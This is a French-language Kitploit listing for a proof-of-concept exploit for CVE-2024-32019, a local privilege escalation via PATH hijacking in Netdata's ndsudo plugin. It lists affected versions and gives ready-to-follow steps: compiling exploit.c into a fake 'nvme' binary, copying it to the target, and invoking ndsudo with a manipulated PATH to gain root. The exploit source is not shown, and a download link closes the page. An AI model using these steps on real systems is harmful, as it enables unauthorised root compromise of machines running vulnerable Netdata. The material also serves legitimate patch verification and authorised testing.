CVE-2024-32019-POC — Exploit de preuve de concept pour CVE-2024-32019 démontrant une escalade de privilèges locale via un chemin de recherche non fiable dans le plugin ndsudo de Netdata. Comprend des instructions de compilation et des étapes de déploiement. | Kitploit

⚠️ CVE-2024-32019 - PoC

📌 Versions concernées

>= v1.45.0, < v1.45.3
>= v1.44.0-60, < v1.45.0-169

🛠️ Preuve de concept

CVE-2024-32019 — ndsudo escalade de privilèges locale via chemin de recherche non fiable.

🔧 Compiler l'exploit

x86_64-linux-gnu-gcc -o nvme exploit.c -static

📤 Déployer sur la machine cible

Transférez le binaire compilé vers la machine vulnérable.
Rendez-le exécutable :
```
chmod +x nvme
```
Exploitez le binaire vulnérable via la manipulation de PATH (utilisez le même chemin où vous avez téléchargé votre binaire) :
```
PATH=$(pwd):$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
```

🔍 Référence

Avis de sécurité Netdata - GHSA-pmhq-4cxq-wj93

⚖️ Clause de non-responsabilité et conditions

Ce code de preuve de concept (PoC) est fourni uniquement à des fins éducatives et de tests d'intrusion autorisés.

Aucune autorisation n'est accordée pour modifier, redistribuer ou utiliser ce code à d'autres fins.
Toute utilisation ou modification non autorisée peut être illégale et contraire à l'éthique.
Les auteurs déclinent toute responsabilité en cas d'utilisation abusive ou de dommages.

Télécharger l’outil